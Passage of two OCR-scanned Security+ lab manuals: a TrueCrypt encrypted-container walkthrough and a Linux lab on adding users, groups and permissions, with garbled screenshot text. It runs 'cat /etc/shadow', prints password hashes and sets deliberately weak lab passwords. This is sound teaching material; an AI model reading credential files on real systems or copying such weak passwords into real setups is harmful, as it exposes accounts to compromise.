Drrive | Volume | Size| Encryption algarithm | Type | -
G
i:#F'.

G H;
G

i ]

G |
G|

gl M
S
a0
gk P
G )
SR S

Create Volume | ¢ Yolume Properties, ., | Wipe Cache |

—Volume
I ;I Select File... |
¥ Mever save history |

m

Volume Toals... Select Device... |

Mount I| Auto-Mount Devices

‘ Dismount All Exit H

Figure 13: The Volume Creation Process in TrueCrypt

With TrueCrypt, you can:
e Create an encrypted file container
e Encrypt a non-system partition/drive

e Encrypt the system partition or entire system drive

If you encrypt the system partition, you will need to burn a recovery CD.
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4. Select Create an encrypted file container and click Next.

E TrueCrypt Volume Creation Wizard E' -~ @

TrueCrypt Volume Creation Wizard

¥ Create an encrypted file container

Creates a virtual encrypted disk within a file. Recommended for
inexperienced users,

More information

" Encrypt a non-system partition/drive

Encrypts a non-system partition on any internal or external
drive (e.q. a flash drive). Optionally, creates a hidden volume.

" Encrypt the system partition or entire system drive

Encrypts the partition/drive where Windows is installed. Anyone
who wants to gain access and use the system, read and write
files, etc., will need to enter the correct password each time
before Windows boots, Optionally, creates a hidden system.

More information about system encryption

Help = Back | Mext = I Cancel

Figure 14: Create an encrypted file container

5. Select Standard TrueCrypt volume and click Next.

rE TrueCrypt Volume Creation Wizard El ml=ln |E

Volume Type

* sStandard TrueCrypt volume

Select this option if you want to create a normal TrueCrypt
volume,

" Hidden TrueCrypt volume

It may happen that you are forced by somebody to reveal the
password to an encrypted volume, There are many situations
where you cannot refuse to reveal the password (for example,
due to extortion). Using a so-called hidden volume allows you to
solve such situations without revealing the password to your
volume,

More information about hidden volumes

Help < Back I Mext = I Cancel

Figure 15: Standard TrueCrypt volume
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6. Click the Select File button at the Volume Location screen.
.E.T.me(.:lypt ;'I.".t;l.ume tlﬁaiiﬂn 'i'."'.lzard.. -E [=] E
Volume Location

| || selectFik... |

¥ Mever save history

A TrueCrypt volume can reside in a file (called TrueCrypt container],
which can reside on a hard disk, on a USE flash drive, etc. A
TrueCrypt container is just like any normal file (it can be, for
example, moved or deleted as any normal file). Clidk 'Select File' to
choose a filename for the container and to select the location where
you wish the container to be oreated.

WARMING: If you select an existing file, TrueCrypt will NOT encrypt
it; the file will be deleted and replaced with the newly created
TrueCrypt container. You will be able to encrypt existing files (ater
on) by moving them to the TrueCrypt container that you are about
to create now.

Help < Back I Mexk = I Cancel

Figure 16: Volume Location Screen

7. Click the Desktop link on the Left side of Windows Explorer screen.

[ specify Path and File Name ==
e —
| JU ¢ » Libraries » Documents » - |+-_| || Search Documents 2 |
Organize - Mew fiolder = E
¢ Favorites Documents library b ol =
i i -
& Downloads MName ’ Date modified Type *
'_-_ Recent Places d
1 [ My Music 10/17/2011 6:32 PM  File Fol
G Libraries @ My Music 7/14,/2009 12:53 AM  File fol
_;| Dicimnants [# My Pictures 10/1772011 &:33 PM  File fiol =
o Music 1@ My Pictures 1/14/2009 1253 AM  File fol
& Pichures # My Videos 1071772011 6:33 PM  File fol
i Videos A My Videos T/14/2009 12:53 AM  File fol
desktop.ini 101772011 6:33 PM Confic
4 Homegroup > n .l '
File name: | x
Save as type: | All Files (*.7) -

& Hide Folders Save Cancel |

Figure 17: Navigating to the Text File Location
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8. Double click on the securityplus.txt file on the Desktop.

(3 Specify Path and File Name

@/Q'|- Desktop » - | 4 | | Search Desktop

Organize * Mew folder

55H, Telnet and Rlogin client
Simon Tatham

i Favorites
Bl Desktop
4 Downloads

securityplus.td

T
Text Docurnent
0 bytes

TrueCrypt Setup 7.1a.exe
TrueCrypt Setup
TrueCrypt Foundation

:
=1l Recent Places

m

= Libraries
@ Documents

J’ M - _ WinScanX GULexe - Shortcut
Shortcut
[ Pictures 1.96 KE

& Videos Wireshark 3

Shortout i

*& Homegroup - 1.66 KB T
File name: securityplus.bd -

Save as type: | All Files (*.*)

~ Hide Folders [ Save

Figure 18: Selecting the Text File

At this point, you will be asked if you want to replace the text file.

It is important to select the blank text file you recently created, in order to avoid

inadvertently deleting some other text file, which could contain important information.

Once Yes it clicked, information in the text file is destroyed.
9. Click Yes to replace the text file

Confirm Save As

I securityplus.tet already exists.
&%= Do youwant to replace it?

Figure 19: Click Yes to Replace the Text File
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10. Click Next at the Volume Location Screen after securityplus.txt is selected.

[ TrueCrypt Volume Creation Wizard |-

Volume Location

IC:‘l.leers‘l,sthent\DESktcp‘l,semrityplus.t;l Select File... |

¥ Never save history

& TrueCrypt volume can reside in a file {called TrueCrypt container),
which can reside on a hard disk, on a USE flash drive, etc. A
TrueCrypt container is just like any normal file (it can be, for
example, moved or deleted as any normal file). Click 'Select File' to
choose a flename for the container and to select the location where
you wish the container to be created.

WARNING: If you select an existing file, TrueCrypt will NOT encrypt
it; the file will be deleted and replaced with the newly created
TrueCrypt container. You will be able to encrypt existing files (Jater
on) by moving them to the TrueCrypt container that you are about
to create now,

Help < Badk] I Mext = I Cancel

Figure 20: Volume Location Screen

11. At the Encryption Options, accept the default Encryption Algorithm of AES;
however, others can also be selected. Click the Next button.

E TrueCrypt Volume Creation Wizard =]
Encryption Options

—Encryption Algorithm

[ - | Test |

FIPS-approved dpher (Rijndael, published in 1998) that may be
used by U5, government departments and agencies to protect
dassified information up to the Top Secret level, 256-hit key,
1258-bit block, 14 rounds (AES-256). Mode of operation is XT5.

Mare information on AES Benchmark |

—Hash Algorithm

IR.IPEI'U'ID—lGU ;I Information on hash algorithms

Help | < Back I Mext = I Cancel

Figure 21: Encryption Options
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12. For the Volume Size, type 50. Verify MB is selected and click Next.

E TrueCrypt Volume Creation Wizard E' &l

Volume Size

|50 Tk M (GB

Free space on drive C:\ is 1002.80 MB

Please specify the size of the container you want to create.

If you create a dynamic (sparse-file) container, this parameter will
spedfy its maximum possible size,

Mote that the minimum possible size of a FAT volume is 292 KB.
The minimum possible size of an NTFS volume is 3792 KB.

Help < Back Mext = Cancel

Figure 22: Volume Size Screen

13. For the password, type password and confirm the password of password.
Click Next.

(3 TrueCrypt Volume Creation Wizard =l

Volume Password

Password: I password

Confirm; I password

[ Use keyfiles Kevfiles. .. |
Iv Display password

It is very important that you choose a good password. You should
avoid choosing one that contains only a single word that can be found
in a dictionary (or a combination of 2, 3, or 4 such words). It should
not contain any names or dates of birth. It should not be easy to
guess. A good password is a random combination of upper and lower
case letters, numbers, and spedal characters, suchas @ ~=%* +
etc. We recommend choosing a password consisting of mare than 20
characters (the langer, the better). The maximum possible length is 64
characters.

Help < Badk I Mext = I Cancel

Figure 23: Setting the Volume Password
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TrueCrypt asks for a password that is a minimum of 20 characters. You can use a
shorter password, but it is not advised. Use uppercase, lowercase, and special
characters to make a stronger password.

14. Click Yes to the warning about the short password (of password).

TrueCrypt Volume Creation Wizard |23 |

WARNIMG: Short passwords are easy to crack using brute force

; l.h technigques!

We recommend choosing a password consisting of more than 20
characters, Are you sure you want to use a short password?

Yes Mo

Figure 24: Short Password Warning

15. Accept the default for the File System and click Format.

8 TrueCrypt Volume Creation Wizard = = |-

Volume Format

—Options

Filesystem IFAT vI CIusterIDefauIt vI [T Dynamic

Random Pool: SA7SED99D5440FD17AG0EA3ATE4D35EC.. W
Header Key:
Master Key:

| Abort |
Done Speed Left

IMPORTANT: Maove your mouse as randomly as possible within this
window, The longer you move it, the better. This significanty
increases the cryptographic strength of the encryption keys. Then
dick Format to create the volume.

Help < Back

Cancel |

Figure 25: Volume Format Screen of TrueCrypt

A file 4 GB or larger cannot be stored on a FAT volume. If you have files larger than 4
GB, use an NTFS file system instead of using a FAT file system.
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16. Click Yes to replace the blank text file with a TrueCrypt container.

TrueCrypt Volume Creation Wizard £3

WARNIMNG: The file 'Ch\Users\student\Desktophsecurityplus.ted’ already
. exists!

IMPORTAMNT: TRUECEYPT WILL MOT ENCRYPT THE FILE, BUT IT WILL
DELETEIT. Are you sure you want to delete the file and replace it with a
new TrueCrypt container?

Figure 26: File Deletion Warning

17. Click OK in response to the message that the TrueCrypt volume was successfully
created.

m TrueCrypt Volume Creation Wizard E'@

Volume Format

Options
’VHIEST.stem FAT |~ Eﬂusterl[:-efault "I [T Cvnamic

. maEaTF33._ ¥
CCB39333.
S1F38142__

Abort |
ft 0s
ble within this
nificantly
pn keys. Then

dick Format to create the volume.

Help « Back Formak Cancel

Figure 27: Volume Successfully Created Message
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18. Click Exit at the Volume Creating Wizard Screen to exit the TrueCrypt program.

[ TrueCrypt Volume Creation Wizard o] @ ==

Volume Created

The TrueCrypt volume has been created and is ready for use. If you
wish to create another TrueCrypt volume, dick Next. Otherwise, dick
Exit.

.................................

Help < Back T Next > | Exit

Figure 28: Exiting TrueCrypt

Task 2.2 Conclusion

Creating an encrypted file container is done by creating a blank text file, and then
selecting that blank text file during the file container creation process.

Task 2.3 Discussion Questions

What are the two types of volumes that can be created within TrueCrypt?

What will you need to do if you encrypt the system partition or drive?

What is the default encryption algorithm used within TrueCrypt?

What might make you decide you want to format your TrueCrypt container with
the NTFS file system?

.
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Task 3 Opening and Viewing Data within a TrueCrypt Container

In this section, you will open your newly created TrueCrypt container, store files on it,
and unmount the volume. Only a user with the password will be able to mount the
volume and view the information stored on the encrypted file container.

Task 3.1 Using the TrueCrypt Container

In order to protect your data, you will need to know how to mount and unmount your
TrueCrypt volume. In order to mount the volume, provide the correct password.

1. Double click on the TrueCrypt icon on your desktop.

i<

il

Figure 29: Opening TrueCrypt

2. Click the Select File radio button so your TrueCrypt container can be located.

[F TrueCrypt (o] @ &=

Volumes Systern Favorites Tools Settings Help Homepage

Drive | Volume Size | Enryption algoritem | Type -
e E:
ey
e d=H
e H:
“an
e 1
G
e
et M:
bl H
b *H
g P
e ):
“am L -

| Create Volume I s Prof | i |

Volume
| | Select Fie... ||
¥ Never save history Vokume Took... | Select Device. ..
Maunt | Auto-Mount Devices Desmount Al | Exit |

Figure 30: Selecting the TrueCrypt File
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3. Click the Desktop link on the left side of Windows Explorer screen.

8/15/2012

%v| » Libraries » Documents » - |"f| | Search Documents yel | !
| Organize » .| MNew folder =~ 0 @& |
5r Favorites = Documents_, library s Rt :
[} Desktop Includes: 2 locations H
& Downloads Name - Date modified Type |
&l Recent Places !
@ My Music 10/17/2011 6:33 PM  File folder |
B Libraiies = 8 My Music 7/14/200912:53 AM  File folder |
e — @ My Pictures 10/17/2011 6:33 PM  File folder |
J' s 8 My Pictures 7/14,/200912:53 AM  File folder |
[ Pictures = My Videos 10/17/2011 5:33 PM  File folder [
i Videos 8 My Videos 7/14/200912:53 AM  File folder |
e 4 desktop.ini 10/17/2011 6:33 PM Configurz "
= desktop.im 7/14/200912:41 AM  Configurz |\
l[a Homegroup = P g
/% Computer - [ I | »
File name: > [AlFiles (1) -
[ Open ] l Cancel ]

Figure 31: Navigating to the Text File Location

Double click on the securityplus.txt file on the desktop.

!!’- Desktop »

i v|6,]| Search Desktop Pli
| Organize v New folder v A ® |
E . - I_ 921 b « E
. 3 Favorites o e e :
i Deskt putty.exe !
i - % SSH, Teinet and Riogin chent i
i 8 Downloads Simon Tatham i
: ¥ Recent Pi = r i
: 4 i Text Document :
{4 Libraries 5 i 500 MB i
i = Documents TrueCrypt Setup 7.1a.exe ;
E J Music TrueCrypt Setup E
| == TrueCrypt Foundation i
! &= Pictures :
! WinScanX GUlLexe - Shortcut !
i Il Videos - Shortcut E
: & 1.26 K8 =l
Y Homegroup . Wireshark
Shortcut
¢ 1% Computer - |® 166 K8 = |
: File name:  securityplus.tat - [AHFB(‘.') vl :

Figure 32: Selecting the Text File
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5. Click on any available drive letter, and then click the Mount radio button.

Volumes System Favorites Tools Settings Help Homepage

Drive | Volume | Sze| Enaryption algorithm | Type | »

LI

Create Volme | volume Properties... | wpecache |

Volume

[ C: Users student \Peskto \securityplus. bt =] | seectrie.. |
[¥ Hewver save history
Vokume Todls... |

I Mount |ﬂ Auto-Mount Devices || Dismount Al | Exit |

Figure 33: Mounting the Container

6. Enter password for the password, then click the OK button.

Enter password for CA\Users\student\Desktoph\security plus.txt

Password: I password | Ok I
[~ cache passwords and keyfiles in memary Cancel |
[v Display password
[ Use keyfiles Keyfiles... | Mount Options... |

Figure 34: Entering the Password for the Volume

If the drive is successfully mounted, it will be listed in the TrueCrypt window.

[ TrueCrypt = =

Yolumes Systern Favorites Tools  Settings  Help Homepage
Drive | Volume | Size | Encryption algorithm | Type | -
G E;

G
a5 CiUsers\student\Desktop\securityplus. bt 49.8MB AES Marmal

Figure 35: The Volume is Successfully Mounted
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7. Click on the Start button, and click on Computer.

‘J:-'r Getting Started
!' Connect to a Projector

student
Calculator

Documents
Sticky Motes

% Snipping Tool
L‘i@ Paint

Pictures
Pusic

Computer

@ Mozilla Firefox

Control Panel

_Aﬂ ¥PS Viewer
Devices and Printers

TrueCrypt
E P Default Programs

g Windows Fax and Scan Help and Support

» Al Programs

| Search programs and files

Figure 36: Clicking on Computer from the Start Button

Your TrueCrypt volume will be displayed as a logical drive on your system. Items can be
stored there. Afteritis unmounted, no one will be able to see the files stored within the
container unless they successfully mount the volume with the correct password.

4 Hard Disk Drives (2)

Local Disk () Local Dhsk (G:)
| | |
952 MB free of 861 GB : 49.5 ME free of 49.5 MB

Figure 37: The TrueCrypt Volume is Displayed
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8. Navigate to Local Disk C:>Windows>Web>Wallpaper>Architecture. Use the
CTRL-A keys to copy all of the files within the Architecture folder.

@Uv « Local Disk (C:) » Windows » Web » Wallpaper » Architecture v | *y I Search Architecture
pile JEM View Tooks Hep
Org Undo Rename Cerl+Z =« [
Redo Cerls Y
Cut Ctrl+ X
8 _—
| Copy [ | r‘

Paste Ctri+V B T

Paste shortcut —
: pi imgl3.jpg imgl4.jpg imgl5.pg imgl6.jpg
- Copy to folder...

Move to folder...

Select all Ctri+A
Invert Selection

imgl7.pg imgl8 jpg

Figure 38: Copying the Picture Files

9. Click on Start and select Computer. Double click on the TrueCrypt Volume. Use
Control + V to paste all of the items from the folder into the TrueCrypt container.

@O'L_._, ¢ Computer » Local Disk (G:)

Organize Include in library = Share with - Mew folder
i Favorites Mame . Date moc
Bl Desktop
4 Downloads View »
= Recent Places Sort by b
Group by b
= Libraries Refrech

@ Documents

JT Music
[E5] Pictures

Customize this folder...

E Videos Paste shortcut
Undo Rename Ctrl+Z
“& Homegrong Share with »
1% Computer Mew ,
&L Local Disk (C:) Primesties

v Local Disk (G2
Figure 39: Pasting the files within the TrueCrypt Volume
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The files should now all be in the TrueCrypt container.

| » Computer » Local Disk (G:) ~ | 3 ||| Search Locat Disk (¢
e =] Preview | Print Mew folder == = i
G Mame & Date modified Type Size
esktop ||§| imgl?.jpg 6,/10/2009 5:28 PM  JPEG image 1:357 KB|
ownloads ||:| imglé.jpg 6/10/2009 5:28 PM  JPEG image 676 KB|
ecent Places | Desktop.ini 7/14/2009 3:48 AM  Configuration sett... 1KB|
=] img13.jpg 6/10/2009 5:28 PM  JPEG image 1,203 KB |
raries (=] imgld.jpg 6/10/2003 5:28 PM  JPEG image 1,491 KB |
ocuments (=] imgl5.jpg 6/10/2008 5:28 PM  JPEG image 1,458 KB |
lusic HE] imglé,jpg 6/10/2009 5:28 PM  JPEG image 1,208 KB|

Figure 40: The files within the TrueCrypt Volume

10. Click Dismount to unmount the volume. The only way someone will be able to
view those files is if they mount the volume with the correct password.

[ Truecrypt [=]= =]

Volumes Systern Favortes Tools Settings Help Homepage

Drive | valume Size | Enaryption algodithm | Type | &
S E:

S F

“erG:  Ci\Usersistudent\Desktopisecurityplus, bet 49.8ME AES Mormal
Gl

b

b H

b

L=

C=1 H

i H

L liH

P

S ()

SR »

Create Volume Volume Properties, . | Wine Cathe |

Volume

[ €: \sersistudent\Desktop \securitypius. bet =] SelectFie.. |
I¥ Mever save history I

Dismaunt | Auto-Mount Devices | | Dismaount Al || Exit

Figure 41: Dismounting the TrueCrypt Volume

11. Complete the task by closing all open windows.
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Task 3.2 Conclusion

Once an encrypted file container is created with TrueCrypt, it must be located, and then
mounted. In order to mount the drive successfully, you must provide the correct
password. Data can then be stored on the drive. When you are finished using the drive,
and want to prevent others from seeing the content within it, dismount the volume.

Task 3.3 Discussion Questions

What drive letter can be used when mounting a TrueCrypt volume?

After successfully mounting a TrueCrypt volume, how is it displayed?

After mounting, how do you prevent individuals from viewing the content?
What two things do you need to successfully mount a TrueCrypt volume?

PwwnNeE
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5 References

1. TrueCrypt:
http://www.truecrypt.org/

2. BitLocker:
http://technet.microsoft.com/en-us/library/cc766295(v=ws.10).aspx

3. FileVault 2:
http://support.apple.com/kb/HT4790?viewlocale=en US&locale=en US

4. File Vault:
http://docs.info.apple.com/article.html?path=Mac/10.4/en/mh1906.html

5. DM-Crypt
http://www.saout.de/misc/dm-crypt/
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1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will be able to implement permissions on files and
folders to both allow and restrict users from accessing them. The ability to use file and
folder security is critical for keeping an operating system and it resources secure.

This lab includes the following tasks:

e Task 1 - Adding Groups, Users and Passwords
e Task 2 - Symbolic Permissions
e Task 3 - Absolute Permissions

2 Objective: Explain the fundamental concepts and best practices
related to authentication, authorization and access control

You may have read articles online describing situations where information was
improperly accessed on systems. Information security means just that, information
needs to be secure. That goal is achieved when individuals understand how to
effectively implement permissions.

passwd file [1] —User accounts on a Linux system are listed in the passwd file, which is
stored in the /etc directory. The passwd file has less restrictive permissions than the
shadow file because it does not store the encrypted password hashes. On most Linux
systems, any account has the ability to read the contents of the passwd file.

shadow file [2] — The shadow file also stores information about user's accounts on a
Linux system. The shadow file also stores the encrypted password hashes, and has
more restrictive permissions than the passwd file. On most Linux systems, only the root
account has the ability to read the contents of the shadow file.

chmod [3] — The chmod command can be used to change permissions on a file or folder.
The chmod command can be used regardless of whether permissions are set using

absolute or symbolic permissions. The root and other accounts can use chmod.

useradd [4] —the useradd command can be used to add a user to the system. When the
useradd command is utilized, a directory is created for the user in the /home folder.
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groupadd [5] — Creating the groups before the users is generally a good practice for
Linux administrators. The groups are stored in the group file in the /etc directory.

3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK

MSEC

Multi-Purpose
Security Pod

EXTERNAL NETWORK

b |

O
\l'llll Firewall
1

Domain: MSEC.local
192.168.100.0/24

Domain: GVPC.local
10.10.19.0/24

I\I‘NUX
SNIFFER
-

=

SEE—) 5

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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Windows 2k3 Server

Victim
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machine before starting the tasks in this lab:

Red Hat Linux Internal Victim Machine 192.168.100.147

Red Hat Linux root password password

Red Hat Enterprise Linux Login:
1. Click on the Red Hat Linux icon on the topology.
2. Type root at the rhel login: prompt.
3. Type password at the Password: prompt.
For security purposes, the password will not be displayed.

4. To start the GUI, type startx at the [root@rhe ~]# prompt.

ed Hat Enterprise Linux Server
ernel 2.6.18-388.el5 on an i686

login: root

Last login: Sat Jun 16 11:48:58
[rootBrhel "1# startx_

Figure 2: RHEL login
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Task 1 Adding Groups, Users and Passwords

Performing account administration on a Linux system is a straightforward process,
requiring several basic steps, which will be illustrated in the sections below:

e Create the groups
e Create user accounts, adding them to the group as they are created
e Assign passwords to the accounts

Task 1.1 Adding Groups, Users and Passwords to a Linux System

1. Click on the Red Hat Linux system. Type the following command to launch the
Graphical User Interface;
[root@rhel ~]#startx

[rootl@rhel ~1# startx_

Figure 3: Starting the X Server

2. Inthe Red Hat Linux system, right click on the desktop and select Open Terminal
to open a terminal. Another way to open the terminal is by clicking on the blue
box next to the System tab.

Create Folder
Create Launcher...

Create Document

Open Terminal s —

Clean Up by Name
Keep Aligned

5 System

Terminal

Change Desktop Background Use the command line

Figure 4: Opening a Terminal on Linux

3. Type the following command to view the user accounts on the system:
[root@rhel ~]#system-config-users
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root@rhel:~
Tabs Help

3
File Edit View Terminal

[root@rhel ~]# system-config-users

User Manager

File Edit Help
Add User Add Group Refresh Help
Search filter: |
Users | Groups |
User Name  UserID~ Primary Group  FullName  Login Shell Home Directory
student 500 student CEH Student Minbash ﬂ'lﬂﬂ'lE‘,-"Sh.ldE‘l'lt

Figure 5: User Accounts on the Linux System

First, we will be creating two groups, sesamestreet and simpsons. We will be creating a
total of six users, with three users in each group. After creating each user and putting
them in their corresponding group, we will assign each user account a password.

The charts below show a summary of the users, groups and passwords for our accounts.

4. Type the following command to add the group sesamestreet:

[root@rhel ~]#groupadd sesamestreet

[root@rhel ~]# groupadd sesamestreet

Figure 6: Adding the Group sesamestreet

8/15/2012

Group: sesamestreet Group: simpsons
User Password User Password
elmo red bart boy

cookie blue lisa girl
oscar green homer man
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5. Type the following command to add the group simpsons:
[root@rhel ~]#groupadd simpsons

[root@rhel ~]# groupadd simpsons

Figure 7: Adding the Group simpsons

6. Type the following command to add the view the group file:
[root@rhel ~]#cat /etc/group

[root@rhel ~]# cat Jetc/group

Figure 8: Viewing the Group File

If you scroll to the bottom of the group file, you will see the groups that were created
along with their corresponding unique group number. Note: The root group has an id of
zero.

»fs:ix:43:
named:x:25:
stapdev:x:102:
stapusr:x:103:
gdm:x:42:
sabayon:x:86:
screen:x:84:
student:x:500:
sesamestreet:x:501:
simpsons:x:502:

Figure 9: The group file

You can add users to the system in Linux by typing the useradd command. The useradd
command will automatically create a directory with that user’s name within the /home
directory. When the user logs in, they will be placed into their directory within /home.

7. To add a user named elmo and put him in the sesamestreet group, type:
[root@rhel ~]#useradd elmo —g sesamestreet

[root@rhel ~]# useradd elmo -g sesamestreet

Figure 10: Adding the user elmo

8. To add a user named cookie and put him in the sesamestreet group, type:
[root@rhel ~]#useradd cookie —g sesamestreet

[root@rhel ~]# useradd cookie -g sesamestreet

Figure 11: Adding the user cookie
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9. To add a user named oscar and put him in the sesamestreet group, type:

[root@rhel ~]#useradd oscar —g sesamestreet
[root@rhel ~]# useradd oscar -g sesamestreet

Figure 12: Adding the user oscar

10. To add a user named bart and put him in the simpsons group, type:
[root@rhel ~]#useradd bart —g simpsons

[root@rhel ~]# useradd bart -g simpsons

Figure 13: Adding the user bart

11. To add a user named lisa and put her in the simpsons group, type:
[root@rhel ~]#useradd lisa —g simpsons

[root@rhel ~]# useradd Llisa -g simpsons

Figure 14: Adding the user lisa

12. To add a user named homer and put him in the simpsons group, type:
[root@rhel ~]#useradd homer —g simpsons

[root@rhel ~]# useradd homer -g simpsons

Figure 15: Adding the user homer

13. Type the following command to view the user accounts on the system:
[root@rhel ~]#system-config-users

root@rhel:~

File Edit View Terminal Tabs Help
[root@rhel ~]# system-config-users

|'-§I User Manager
File Edit Help

% i &

Add User  Add Group Refresh
Seart
UgersIGrgups I¢
GruupName ......... Group ID * | Group Members
student 500 student
sesamestreet 501 cookie, elmo, oscar
simpsons 502 bart, homer, lisa

Figure 16: Viewing the Groups in the User Manager
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When groups are added first, followed by users being added and put into the groups as
they are created, you will have a structure where permissions can be set effectively.

Next, we will give each user a password. We will use simple passwords for this exercise,
but that should never be done on a production system. Avoid dictionary words because
attackers can use programs like John the Ripper to crack short passwords or passwords
that are found in a dictionary. Stick to passwords with a minimum of eight characters,
uppercase and lowercase letters, and special characters. When you use a simple
password with the passwd command, you will be warned that the password is a “BAD
PASSWORD: it is WAY too short”. Retype the password again and it will be accepted.

For security reasons, passwords will not be displayed when you type them.

14. Type the following to give elmo a password. Type red twice as the password.
[root@rhel ~]#passwd elmo

[root@rhel ~]# passwd elmo

Changing password for user elmo.

New UNIX password:

BAD PASSWORD: it is WAY too short

Retype new UNIX password:

passwd: all authentication tokens updated successTully.

Figure 17: Giving the user a Password

You should receive the message, all authentication tokens updated successfully.

15. Type the following to give cookie a password. Type blue twice as the password:
[root@rhel ~]#passwd cookie

[root@rhel ~]# passwd cookie

Changing password for user cookie.

New UNIX password:

BAD PASSWORD: it is too short

Retype new UNIX password:

passwd: all authentication tokens updated successTully.

Figure 18: Giving the user a Password

You should receive the message, all authentication tokens updated successfully.
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16. Type the following to give oscar a password. Type green twice as the password:
[root@rhel ~]#passwd oscar

[root@rhel ~]# passwd oscar
Changing password for user oscar.

New UNIX password:
BAD PASSWORD: it is too short

Retype new UNIX password:
passwd: all authentication tokens updated successfully.

Figure 19: Giving the user a Password

You should receive the message, all authentication tokens updated successfully.

17. Type the following to give bart a password. Type boy twice as the password:
[root@rhel ~]#passwd bart

[root@rhel ~]# passwd bart
Changing password for user bart.

New UNIX password:
BAD PASSWORD: it is WAY too short

Retype new UNIX password:
passwd: all authentication tokens updated successfully.

Figure 20: Giving the user a Password

You should receive the message, all authentication tokens updated successfully.

18. Type the following to give lisa a password. Type girl twice as the password:
[root@rhel ~]#passwd lisa

[root@rhel ~]# passwd lisa
Changing password for user lisa.
New UNIX password:

BAD PASSWORD: it is too short

Retype new UNIX password:
passwd: all authentication tokens updated successfTully.

Figure 21: Giving the user a Password
You should receive the message, all authentication tokens updated successfully.

19. Type the following to give homer a password. Type man twice as the password:
[root@rhel ~]#passwd homer

[root@rhel ~]# passwd homer
Changing password for user homer.
New UNIX password:

BAD PASSWORD: it is WAY too short

Retype new UNIX password:
passwd: all authentication tokens updated successTully.

Figure 22: Giving the user a Password
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You should receive the message all authentication tokens updated successfully.

20. Type the following command to view the created users in the passwd file:
[root@rhel ~]#cat /etc/passwd

[root@rhel ~]# cat /etc/passwd

Figure 23: Displaying the passwd file

The bottom of the passwd file will display all of the newly created users.

elmo:x:581:5681:: /home/elmo: /bin/bash
cookie:x:502:581:: /home/cookie: /bin/bash
oscar:x:503:501:: /homefoscar: /bin/bash
bart:x:504:5682::/home/bart:/bin/bash
1isa:x:505:5682: :: /home/lisa: /bin/bash
homer:x:5086:5082:: /home/homer: /bin/bash

Figure 24: The passwd file

21. Type the following command to view the created users in the shadow file:
[root@rhel ~]#cat /etc/shadow

[root@rhel ~]# cat /fetc/shadow

Figure 25: Displaying the shadow file

The bottom of the shadow file will display all of the user’s password hash.

elmo:s1sVtzrolymsG/pkST3KmlaxoPRIpLS0or0:15430:0:99999:7: 1 :
cookie:$15wO3RCLxzSTAMTFDHLP ] S00gDazn579. 1 15430:0:99999:7:
oscar:5lsYayVdyeS5ss4YgxKEIOh.KgPk7jDz9m/:15430:0:99999:7:::
bart:31sKkyHImwesRIID8dE6birFWrFdhs6.rl/:15430:0:99999:7:::
1i53:51%5493ip0/sDtAoCLTvOB6eAGH . 3XM5A1:15430:0:99999:7:::
homer:515DCtKAM.bSm6t4R97cDFdsssIhEfbca/:15430:0:99999:7:::

Figure 26: The shadow file

22. Do not close the Red Hat terminal. This exercise will be continued in Task 2.1.
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Task 1.2 Conclusion

The command to create a group on a Linux system is groupadd. After groups are added
to the system, you can add users with useradd, and place them in the group as you
create them. Users are given passwords with the passwd command. The users will
appear in the passwd and shadow files. The encrypted password hashes are stored in
the shadow file. By default, the shadow file can only be viewed by the root account.

Task 1.3 Discussion Questions

What is the command to add a group to the system in Linux?

What is the command to give a user a password in Linux?

What is the command to add a user to the system in Linux?

Where is the user’s encrypted password hash stored on a Linux system?

PwnNe
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Task 2 Symbolic Permissions

Adding permissions to files and folders can be done by using absolute or symbolic
permissions. The symbolic permissions are easier for beginners to use.

Task 2.1 Using Symbolic Permissions
Continue using the terminal from Task 1.1.

1. Type the following command as the root user to restart the system:
[root@rhel ~]# init 6

[root@rhel ~]# init 6

Figure 27: Restarting the System using the init 6

You should arrive at the Red Hat Enterprise Linux Server login screen.

Red Hat Enterprise Linux Serwver release 5.4 (Tikanga)
Kernel 2.6.18-164.e15 on an i686

rhel login:

Figure 28: The Red Hat Linux Login Screen

2. Login as the user bart with the password of boy.
For security reasons, the password will not be displayed when you type it.

rhel login: bart

Password:

Figure 29: Logging in as bart

After a successful login, you will see the [bart@rhel ~] prompt followed by the dollar
sign.

[bart@rhel ~15 _

Figure 30: Regular users have a $ prompt

Only the root account will get the # prompt. Other users will get a $ prompt.

When a user logs on to a Linux system, they are “put” into their folder within the /home
directory. Their folder is created when the account is added, using the useradd
command.
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3. To view your present working directory, type:
[bart@rhel ~]S pwd

[bart@rhel ~15 puwd

Ome (ol

Figure 31: The Present Working Directory of a Linux System

4. Type the following command to go back one directory to the /home directory:
[bart@rhel ~]S cd ..

[bartB@rhel ~15 cd ..

Figure 32: Moving Back One Directory

5. Type the following command to list all of the directories and their permissions:
[bart@rhel ~]S Is -l

[bart@rhel homel$ ls -1

bart simpsons 41896
cookie sesamestreet 4096
e lmo sesamestreet 4896
homer zimp=zons 4096
liza zimp=sons 4096
oscar sesamestreet 4HA96

Figure 33: The Permissions of the Home Directory

The Linux operating system has a total of 10 letters or dashes in the permissions fields:

e The first field is a dash for a file and a d for a directory

e The2™ through 4™ fields are for the user

e The 5" through 7" fields are for the group

e Thesg" through 10" fields are for others (accounts other than those in the group)

WX — = ——

Figure 34: Linux Permissions

There is one exception to the permissions rule. The root account has full access.

In Linux, the default is for only the user to have access to their folder within home.
Bart will be denied if he tries to enter a folder from another account in his group.
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6. Try to enter lisa’s folder as bart by typing the following command:
[bart@rhel ~]S cd lisa

[bart@rhel homelS cd lisa

-hash: cd: lisa: Permisszion denied

Figure 35: Permission is Denied

Bart is denied from accessing the lisa folder.

7. Tolog out as bart and end his session, type the following command:
[bart@rhel ~]S exit

[bartBrhel ~15 exit

Figure 36: Typing exit

8. Login as the user lisa with the password of girl.

Red Hat Enterprise Linux Server release 5.4 (Tikanga)
Kernel 2.6.18-164.el5 on an ib86

rhel login: lisa
Password:
[lisaBrhel ~15

Figure 37: Loggingin a lisa

